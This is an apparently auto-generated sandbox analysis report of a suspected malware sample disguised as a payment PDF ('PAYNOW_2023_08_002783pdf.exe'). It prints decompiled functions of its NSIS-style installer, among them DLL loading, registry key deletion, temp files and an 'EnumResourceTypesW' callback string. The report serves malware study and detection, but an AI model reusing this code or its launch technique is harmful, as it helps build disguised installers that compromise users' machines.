Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop
API String ID: 3449924974-26219170
Opcode ID: daf6715ee4a9a889a1accaf74548b3993ec7aecc528708590295bf6406307990
Instruction ID: 8fda383858cfa3d81fea8572b973588b51770532f266deb4a47d6cf866d68d21
Opcode Fuzzy Hash: daf6715ee4a9a889a1accaf74548b3993ec7aecc528708590295bf6406307990
Instruction Fuzzy Hash: 5E010871C00219EADF009BA0D944BEFBBB4EB04354F00403AD545B6190EB799648DF99

Uniqueness

Uniqueness Score: -1.00%

Function 0040645C Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040645C(intOrPtr _a4) {
				char _v292;
				int _t10;
				struct HINSTANCE__* _t14;
				void* _t16;
				void* _t21;

				_t10 = GetSystemDirectoryA( &_v292, 0x104);
				if(_t10 > 0x104) {
					_t10 = 0;
				}
				if(_t10 == 0 ||  *((char*)(_t21 + _t10 - 0x121)) == 0x5c) {
					_t16 = 1;
				} else {
					_t16 = 0;
				}
				_t5 = _t16 + 0x40a014; // 0x5c
				wsprintfA(_t21 + _t10 - 0x120, "%s%s.dll", _t5, _a4);
				_t14 = LoadLibraryExA( &_v292, 0, "true"); // executed
				return _t14;
			}

0x00406473
0x0040647c
0x0040647e
0x0040647e
0x00406482
0x00406494
0x0040648e
0x0040648e
0x0040648e
0x00406498
0x004064ac
0x004064c0
0x004064c7

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00406473
wsprintfA.USER32 ref: 004064AC
LoadLibraryExA.KERNELBASE(?,00000000,?), ref: 004064C0

Strings

%s%s.dll, xrefs: 004064A6
UXTHEME, xrefs: 00406465
\, xrefs: 00406484

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%s.dll$UXTHEME$\
API String ID: 2200240437-4240819195
Opcode ID: 265ca81b40b881dab18d3809a90e9c8d4eed5c2f9756e13f598d1e00e091b07b
Instruction ID: 6b99be200e9776e1d1f000c3a85ac26a44316f32ef7d7cf08124b5af377bafc3
Opcode Fuzzy Hash: 265ca81b40b881dab18d3809a90e9c8d4eed5c2f9756e13f598d1e00e091b07b
Instruction Fuzzy Hash: C2F0FC305502096BDB15DB64DD0DFEB375CEB08304F1400BAA986E10C1EA78E5258B6D

Uniqueness

Uniqueness Score: -1.00%

Function 0040209D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 60%

			E0040209D(void* __ebx, void* __eflags) {
				struct HINSTANCE__* _t18;
				struct HINSTANCE__* _t26;
				void* _t27;
				struct HINSTANCE__* _t30;
				CHAR* _t32;
				intOrPtr* _t33;
				void* _t34;

				_t27 = __ebx;
				asm("sbb eax, 0x4247f8");
				 *(_t34 - 4) = 1;
				if(__eflags < 0) {
					_push(0xffffffe7);
					L15:
					E00401423();
					L16:
					 *0x4247c8 =  *0x4247c8 +  *(_t34 - 4);
					return 0;
				}
				_t32 = E00402BCE(0xfffffff0);
				 *(_t34 + 8) = E00402BCE("true");
				if( *((intOrPtr*)(_t34 - 0x18)) == __ebx) {
					L3:
					_t18 = LoadLibraryExA(_t32, _t27, "true"); // executed
					_t30 = _t18;
					if(_t30 == _t27) {
						_push(0xfffffff6);
						goto L15;
					}
					L4:
					_t33 = GetProcAddress(_t30,  *(_t34 + 8));
					if(_t33 == _t27) {
						E004051E8(0xfffffff7,  *(_t34 + 8));
					} else {
						 *(_t34 - 4) = _t27;
						if( *((intOrPtr*)(_t34 - 0x20)) == _t27) {
							 *_t33( *((intOrPtr*)(_t34 - 8)), 0x400, "kernel32::EnumResourceTypesW(i0,ir1,i0)", 0x40b848, 0x40a000); // executed
						} else {
							E00401423( *((intOrPtr*)(_t34 - 0x20)));
							if( *_t33() != 0) {
								 *(_t34 - 4) = 1;
							}
						}
					}
					if( *((intOrPtr*)(_t34 - 0x1c)) == _t27 && E00403874(_t30) != 0) {
						FreeLibrary(_t30);
					}
					goto L16;
				}
				_t26 = GetModuleHandleA(_t32); // executed
				_t30 = _t26;
				if(_t30 != __ebx) {
					goto L4;
				}
				goto L3;
			}

0x0040209d
0x0040209d
0x004020a2
0x004020a9
0x00402164
0x004022dd
0x004022dd
0x00402a5a
0x00402a5d
0x00402a69
0x00402a69
0x004020b8
0x004020c2
0x004020c5
0x004020d4
0x004020d8
0x004020de
0x004020e2
0x0040215d
0x00000000
0x0040215d
0x004020e4
0x004020ed
0x004020f1
0x00402135
0x004020f3
0x004020f6
0x004020f9
0x00402129
0x004020fb
0x004020fe
0x00402107
0x00402109
0x00402109
0x00402107
0x004020f9
0x0040213d
0x00402152
0x00402152
0x00000000
0x0040213d
0x004020c8
0x004020ce
0x004020d2
0x00000000
0x00000000
0x00000000

APIs

GetModuleHandleA.KERNELBASE(00000000,?,000000F0), ref: 004020C8

Part of subcall function 004051E8: lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsh295E.tmp\System.dll,00000000,004178E0,00000000,?,?,?,?,?,?,?,?,?,00403208,00000000,?), ref: 00405221
Part of subcall function 004051E8: lstrlenA.KERNEL32(00403208,Skipped: C:\Users\user\AppData\Local\Temp\nsh295E.tmp\System.dll,00000000,004178E0,00000000,?,?,?,?,?,?,?,?,?,00403208,00000000), ref: 00405231
Part of subcall function 004051E8: lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsh295E.tmp\System.dll,00403208,00403208,Skipped: C:\Users\user\AppData\Local\Temp\nsh295E.tmp\System.dll,00000000,004178E0,00000000), ref: 00405244
Part of subcall function 004051E8: SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsh295E.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsh295E.tmp\System.dll), ref: 00405256
Part of subcall function 004051E8: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 0040527C
Part of subcall function 004051E8: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00405296
Part of subcall function 004051E8: SendMessageA.USER32(?,00001013,?,00000000), ref: 004052A4

LoadLibraryExA.KERNELBASE(00000000,?,?,?,000000F0), ref: 004020D8
GetProcAddress.KERNEL32(00000000,?), ref: 004020E8
FreeLibrary.KERNEL32(00000000,00000000,000000F7,?,?,?,?,000000F0), ref: 00402152

Strings

kernel32::EnumResourceTypesW(i0,ir1,i0), xrefs: 0040211C

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
String ID: kernel32::EnumResourceTypesW(i0,ir1,i0)
API String ID: 2987980305-4253092451
Opcode ID: 800416306b2b2cd991b963d049c818197a6c55c3eb730c86b316812b4241bfa1
Instruction ID: 1a7932fae63aa7fb20f888994d80958c5ec2ba2518727ce514c528d89b281485
Opcode Fuzzy Hash: 800416306b2b2cd991b963d049c818197a6c55c3eb730c86b316812b4241bfa1
Instruction Fuzzy Hash: 08210B32A00125EBCF207FA58F49B5F76B0AF50359F21423BF211B61D1CBBC8982965E

Uniqueness

Uniqueness Score: -1.00%

Function 00405C89 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00405C89(char _a4, intOrPtr _a6, CHAR* _a8) {
				char _t11;
				signed int _t12;
				int _t15;
				signed int _t17;
				void* _t20;
				CHAR* _t21;

				_t21 = _a4;
				_t20 = 0x64;
				while(1) {
					_t11 =  *0x40a3d4; // 0x61736e
					_t20 = _t20 - 1;
					_a4 = _t11;
					_t12 = GetTickCount();
					_t17 = 0x1a;
					_a6 = _a6 + _t12 % _t17;
					_t15 = GetTempFileNameA(_a8,  &_a4, 0, _t21); // executed
					if(_t15 != 0) {
						break;
					}
					if(_t20 != 0) {
						continue;
					}
					 *_t21 =  *_t21 & 0x00000000;
					return _t15;
				}
				return _t21;
			}

0x00405c8d
0x00405c93
0x00405c94
0x00405c94
0x00405c99
0x00405c9a
0x00405c9d
0x00405ca7
0x00405cb4
0x00405cb7
0x00405cbf
0x00000000
0x00000000
0x00405cc3
0x00000000
0x00000000
0x00405cc5
0x00000000
0x00405cc5
0x00000000

APIs

GetTickCount.KERNEL32 ref: 00405C9D
GetTempFileNameA.KERNELBASE(?,?,00000000,?,?,?,?,0000000B), ref: 00405CB7

Strings

nsa, xrefs: 00405C94
C:\Users\user\AppData\Local\Temp\, xrefs: 00405C8C
"C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe", xrefs: 00405C89

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe"$C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-135587245
Opcode ID: 3d6f8019ec5f34494dc3b68805de6783e4b5f3688fe49378b00e43b1512e0d50
Instruction ID: eb5fe80d68cc8fd1173ec18eddb4fdb1002e2dce10a9d595da193ea2316e06a4
Opcode Fuzzy Hash: 3d6f8019ec5f34494dc3b68805de6783e4b5f3688fe49378b00e43b1512e0d50
Instruction Fuzzy Hash: BCF08236308308ABEB118F56ED04B9B7FACDF91750F10803BFA44DB280D6B499558798

Uniqueness

Uniqueness Score: -1.00%

Function 00402CD0 Relevance: 7.6, APIs: 5, Instructions: 84
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 48%

			E00402CD0(void* __eflags, void* _a4, char* _a8, signed int _a12) {
				void* _v8;
				int _v12;
				char _v276;
				void* _t27;
				signed int _t33;
				intOrPtr* _t35;
				signed int _t45;
				signed int _t46;
				signed int _t47;

				_t46 = _a12;
				_t47 = _t46 & 0x00000300;
				_t45 = _t46 & 0x00000001;
				_t27 = E00405F47(__eflags, _a4, _a8, _t47 | 0x00000009,  &_v8); // executed
				if(_t27 == 0) {
					if((_a12 & 0x00000002) == 0) {
						L3:
						_push(0x105);
						_push( &_v276);
						_push(0);
						while(RegEnumKeyA(_v8, ??, ??, ??) == 0) {
							__eflags = _t45;
							if(__eflags != 0) {
								L10:
								RegCloseKey(_v8);
								return 0x3eb;
							}
							_t33 = E00402CD0(__eflags, _v8,  &_v276, _a12);
							__eflags = _t33;
							if(_t33 != 0) {
								break;
							}
							_push(0x105);
							_push( &_v276);
							_push(_t45);
						}
						RegCloseKey(_v8);
						_t35 = E004064CA("true");
						if(_t35 != 0) {
							return  *_t35(_a4, _a8, _t47, 0);
						}
						return RegDeleteKeyA(_a4, _a8);
					}
					_v12 = 0;
					if(RegEnumValueA(_v8, 0,  &_v276,  &_v12, 0, 0, 0, 0) != 0x103) {
						goto L10;
					}
					goto L3;
				}
				return _t27;
			}

0x00402cdb
0x00402ce4
0x00402ced
0x00402cf9
0x00402d02
0x00402d0c
0x00402d31
0x00402d37
0x00402d3c
0x00402d3d
0x00402d6d
0x00402d46
0x00402d48
0x00402d98
0x00402d9b
0x00000000
0x00402da1
0x00402d57
0x00402d5c
0x00402d5e
0x00000000
0x00000000
0x00402d66
0x00402d6b
0x00402d6c
0x00402d6c
0x00402d79
0x00402d81
0x00402d88
0x00000000
0x00402db1
0x00000000
0x00402d90
0x00402d1c
0x00402d2f
0x00000000
0x00000000
0x00000000
0x00402d2f
0x00402db7

APIs

RegEnumValueA.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,?,00100020,?,?,?), ref: 00402D24
RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402D70
RegCloseKey.ADVAPI32(?,?,?), ref: 00402D79
RegDeleteKeyA.ADVAPI32(?,?), ref: 00402D90
RegCloseKey.ADVAPI32(?,?,?), ref: 00402D9B

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: CloseEnum$DeleteValue
String ID:
API String ID: 1354259210-0
Opcode ID: e0560c3492abfc6ba69bbbbd147d7cad17a6c92fce96212b07645899f063db07
Instruction ID: 479b5507277e1ed98100a043d195c8e3d67278c142fcba22c9f5c581f71d1c0c
Opcode Fuzzy Hash: e0560c3492abfc6ba69bbbbd147d7cad17a6c92fce96212b07645899f063db07
Instruction Fuzzy Hash: DE215771900108BBEF129F90CE89EEE7A7DEF44344F100076FA55B11A0E7B48E94AA68

Uniqueness

Uniqueness Score: -1.00%

Function 6ECB16DB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E6ECB16DB(void* __edx, void* __edi, void* __esi, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				void _v36;
				char _v88;
				struct HINSTANCE__* _t37;
				intOrPtr _t42;
				void* _t48;
				void* _t49;
				void* _t50;
				void* _t54;
				intOrPtr _t57;
				signed int _t61;
				signed int _t63;
				void* _t67;
				void* _t68;
				void* _t72;
				void* _t76;

				_t76 = __esi;
				_t68 = __edi;
				_t67 = __edx;
				 *0x6ecb405c = _a8;
				 *0x6ecb4060 = _a16;
				 *0x6ecb4064 = _a12;
				 *((intOrPtr*)(_a20 + 0xc))( *0x6ecb4038, E6ECB1556);
				_push("true");
				_t37 = E6ECB1A98();
				_t54 = _t37;
				if(_t54 == 0) {
					L28:
					return _t37;
				} else {
					if( *((intOrPtr*)(_t54 + 4)) != 1) {
						E6ECB22AF(_t54);
					}
					E6ECB22F1(_t67, _t54);
					_t57 =  *((intOrPtr*)(_t54 + 4));
					if(_t57 == 0xffffffff) {
						L14:
						if(( *(_t54 + 0x810) & 0x00000004) == 0) {
							if( *((intOrPtr*)(_t54 + 4)) == 0) {
								_t37 = E6ECB24D8(_t54);
							} else {
								_push(_t76);
								_push(_t68);
								_push("true");
								_pop(_t61);
								_t13 = _t54 + 0x818; // 0x818
								memcpy( &_v36, _t13, _t61 << 2);
								_t42 = E6ECB156B(_t54,  &_v88);
								 *(_t54 + 0x834) =  *(_t54 + 0x834) & 0x00000000;
								_t18 = _t54 + 0x818; // 0x818
								_t72 = _t18;
								 *((intOrPtr*)(_t54 + 0x820)) = _t42;
								 *_t72 = 3;
								E6ECB24D8(_t54);
								_push("true");
								_pop(_t63);
								_t37 = memcpy(_t72,  &_v36, _t63 << 2);
							}
						} else {
							E6ECB24D8(_t54);
							_t37 = GlobalFree(E6ECB1266(E6ECB1559(_t54)));
						}
						if( *((intOrPtr*)(_t54 + 4)) != 1) {
							_t37 = E6ECB249E(_t54);
							if(( *(_t54 + 0x810) & 0x00000040) != 0 &&  *_t54 == 1) {
								_t37 =  *(_t54 + 0x808);
								if(_t37 != 0) {
									_t37 = FreeLibrary(_t37);
								}
							}
							if(( *(_t54 + 0x810) & 0x00000020) != 0) {
								_t37 = E6ECB14E2( *0x6ecb4058);
							}
						}
						if(( *(_t54 + 0x810) & 0x00000002) != 0) {
							goto L28;
						} else {
							return GlobalFree(_t54);
						}
					}
					_t48 =  *_t54;
					if(_t48 == 0) {
						if(_t57 != 1) {
							goto L14;
						}
						E6ECB2CC3(_t54);
						L12:
						_t54 = _t48;
						L13:
						goto L14;
					}
					_t49 = _t48 - 1;
					if(_t49 == 0) {
						L8:
						_t48 = E6ECB2A38(_t57, _t54); // executed
						goto L12;
					}
					_t50 = _t49 - 1;
					if(_t50 == 0) {
						E6ECB26B2(_t54);
						goto L13;
					}
					if(_t50 != 1) {
						goto L14;
					}
					goto L8;
				}
			}

0x6ecb16db
0x6ecb16db
0x6ecb16db
0x6ecb16e5
0x6ecb16ed
0x6ecb16fa
0x6ecb1708
0x6ecb170b
0x6ecb170d
0x6ecb1712
0x6ecb1717
0x6ecb1836
0x6ecb1836
0x6ecb171d
0x6ecb1721
0x6ecb1724
0x6ecb1729
0x6ecb172b
0x6ecb1731
0x6ecb1737
0x6ecb1767
0x6ecb176e
0x6ecb1792
0x6ecb17dd
0x6ecb1794
0x6ecb1794
0x6ecb1795
0x6ecb1796
0x6ecb179b
0x6ecb179c
0x6ecb17a6
0x6ecb17a9
0x6ecb17ae
0x6ecb17b5
0x6ecb17b5
0x6ecb17bc
0x6ecb17c2
0x6ecb17c8
0x6ecb17d3
0x6ecb17d5
0x6ecb17d6
0x6ecb17d9
0x6ecb1770
0x6ecb1771
0x6ecb1786
0x6ecb1786
0x6ecb17e7
0x6ecb17ea
0x6ecb17f7
0x6ecb17fe
0x6ecb1806
0x6ecb1809
0x6ecb1809
0x6ecb1806
0x6ecb1816
0x6ecb181e
0x6ecb1823
0x6ecb1816
0x6ecb182b
0x00000000
0x6ecb182d
0x00000000
0x6ecb182e
0x6ecb182b
0x6ecb173b
0x6ecb173e
0x6ecb175c
0x00000000
0x00000000
0x6ecb175f
0x6ecb1764
0x6ecb1764
0x6ecb1766
0x00000000
0x6ecb1766
0x6ecb1740
0x6ecb1741
0x6ecb1749
0x6ecb174a
0x00000000
0x6ecb174a
0x6ecb1743
0x6ecb1744
0x6ecb1752
0x00000000
0x6ecb1752
0x6ecb1747
0x00000000
0x00000000
0x00000000
0x6ecb1747

APIs

Part of subcall function 6ECB1A98: GlobalFree.KERNEL32(?), ref: 6ECB1D09
Part of subcall function 6ECB1A98: GlobalFree.KERNEL32(?), ref: 6ECB1D0E
Part of subcall function 6ECB1A98: GlobalFree.KERNEL32(?), ref: 6ECB1D13

GlobalFree.KERNEL32(00000000), ref: 6ECB1786
FreeLibrary.KERNEL32(?), ref: 6ECB1809
GlobalFree.KERNEL32(00000000), ref: 6ECB182E

Part of subcall function 6ECB22AF: GlobalAlloc.KERNEL32(00000040,?), ref: 6ECB22E0

Part of subcall function 6ECB26B2: GlobalAlloc.KERNEL32(00000040,00000000,?,?,00000000,?,?,?,6ECB1757,00000000), ref: 6ECB2782

Part of subcall function 6ECB156B: wsprintfA.USER32 ref: 6ECB1599

Strings

, xrefs: 6ECB180F

Memory Dump Source

Source File: 00000004.00000002.88644476902.000000006ECB1000.00000020.00000001.01000000.00000005.sdmp, Offset: 6ECB0000, based on PE: true

Associated: 00000004.00000002.88644409053.000000006ECB0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.88644544842.000000006ECB3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.88644608941.000000006ECB5000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6ecb0000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: Global$Free$Alloc$Librarywsprintf
String ID:
API String ID: 3962662361-3916222277
Opcode ID: d9224036e760d52508eebbceafc8553d08874b2abc77eb61b48a4b2d075f7925
Instruction ID: 9697f32071bdb12f1fc5d99eadd04e6444a9310f45eaccfe4e2f16fd98ee3bb7
Opcode Fuzzy Hash: d9224036e760d52508eebbceafc8553d08874b2abc77eb61b48a4b2d075f7925
Instruction Fuzzy Hash: 87419F714043099BDB449FEC99D4BDA37ACBF06318F048865E919AB08AFB748449CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00401C2E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84
windowtimeCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00401C2E(intOrPtr __edx) {
				int _t29;
				long _t30;
				signed int _t32;
				CHAR* _t35;
				long _t36;
				int _t41;
				signed int _t42;
				int _t46;
				int _t56;
				intOrPtr _t57;
				struct HWND__* _t61;
				void* _t64;

				_t57 = __edx;
				_t29 = E00402BAC("true");
				 *((intOrPtr*)(_t64 - 0x38)) = _t57;
				 *(_t64 - 8) = _t29;
				_t30 = E00402BAC("true");
				 *((intOrPtr*)(_t64 - 0x38)) = _t57;
				 *(_t64 + 8) = _t30;
				if(( *(_t64 - 0x14) & 0x00000001) != 0) {
					 *((intOrPtr*)(__ebp - 8)) = E00402BCE(0x33);
				}
				__eflags =  *(_t64 - 0x14) & 0x00000002;
				if(( *(_t64 - 0x14) & 0x00000002) != 0) {
					 *(_t64 + 8) = E00402BCE(0x44);
				}
				__eflags =  *((intOrPtr*)(_t64 - 0x2c)) - 0x21;
				_push("true");
				if(__eflags != 0) {
					_t59 = E00402BCE();
					_t32 = E00402BCE();
					asm("sbb ecx, ecx");
					asm("sbb eax, eax");
					_t35 =  ~( *_t31) & _t59;
					__eflags = _t35;
					_t36 = FindWindowExA( *(_t64 - 8),  *(_t64 + 8), _t35,  ~( *_t32) & _t32); // executed
					goto L10;
				} else {
					_t61 = E00402BAC();
					 *((intOrPtr*)(_t64 - 0x38)) = _t57;
					_t41 = E00402BAC("true");
					 *((intOrPtr*)(_t64 - 0x38)) = _t57;
					_t56 =  *(_t64 - 0x14) >> 2;
					if(__eflags == 0) {
						_t36 = SendMessageA(_t61, _t41,  *(_t64 - 8),  *(_t64 + 8));
						L10:
						 *(_t64 - 0xc) = _t36;
					} else {
						_t42 = SendMessageTimeoutA(_t61, _t41,  *(_t64 - 8),  *(_t64 + 8), _t46, _t56, _t64 - 0xc);
						asm("sbb eax, eax");
						 *((intOrPtr*)(_t64 - 4)) =  ~_t42 + 1;
					}
				}
				__eflags =  *((intOrPtr*)(_t64 - 0x28)) - _t46;
				if( *((intOrPtr*)(_t64 - 0x28)) >= _t46) {
					_push( *(_t64 - 0xc));
					E0040601F();
				}
				 *0x4247c8 =  *0x4247c8 +  *((intOrPtr*)(_t64 - 4));
				return 0;
			}

0x00401c2e
0x00401c30
0x00401c37
0x00401c3a
0x00401c3d
0x00401c47
0x00401c4b
0x00401c4e
0x00401c57
0x00401c57
0x00401c5a
0x00401c5e
0x00401c67
0x00401c67
0x00401c6a
0x00401c6e
0x00401c70
0x00401cc5
0x00401cc7
0x00401cd0
0x00401cd8
0x00401cdb
0x00401cdb
0x00401ce4
0x00000000
0x00401c72
0x00401c79
0x00401c7b
0x00401c7e
0x00401c84
0x00401c8b
0x00401c8e
0x00401cb6
0x00401cea
0x00401cea
0x00401c90
0x00401c9e
0x00401ca6
0x00401ca9
0x00401ca9
0x00401c8e
0x00401ced
0x00401cf0
0x00401cf6
0x004029a5
0x004029a5
0x00402a5d
0x00402a69

APIs

SendMessageTimeoutA.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C9E
SendMessageA.USER32(00000000,00000000,?,?), ref: 00401CB6

Strings

!, xrefs: 00401C6A

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 7b70566c870daa96221156bf416f9a378a332c342d8049e94ba7da889c6dd66f
Instruction ID: 51da54adcba92585663a26c7e1368d4a3271239daaedb1c2ef7502cbfef702b9
Opcode Fuzzy Hash: 7b70566c870daa96221156bf416f9a378a332c342d8049e94ba7da889c6dd66f
Instruction Fuzzy Hash: 05216071A44208BEEB059FB5D98AAAD7FB4EF44304F20447FF502B61D1D6B88541DB28

Uniqueness

Uniqueness Score: -1.00%

Function 00402476 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E00402476(void* __eax, int __ebx, intOrPtr __edx) {
				void* _t18;
				void* _t19;
				int _t22;
				long _t23;
				int _t28;
				intOrPtr _t31;
				void* _t32;
				intOrPtr _t35;
				void* _t37;
				void* _t40;

				_t31 = __edx;
				_t28 = __ebx;
				_t35 =  *((intOrPtr*)(_t37 - 0x18));
				_t32 = __eax;
				 *(_t37 - 0x38) =  *(_t37 - 0x14);
				 *(_t37 - 0x78) = E00402BCE("true");
				_t18 = E00402BCE(0x11);
				 *(_t37 - 4) = 1;
				_t19 = E00402C5E(_t40, _t32, _t18, "true"); // executed
				 *(_t37 + 8) = _t19;
				if(_t19 != __ebx) {
					_t22 = 0;
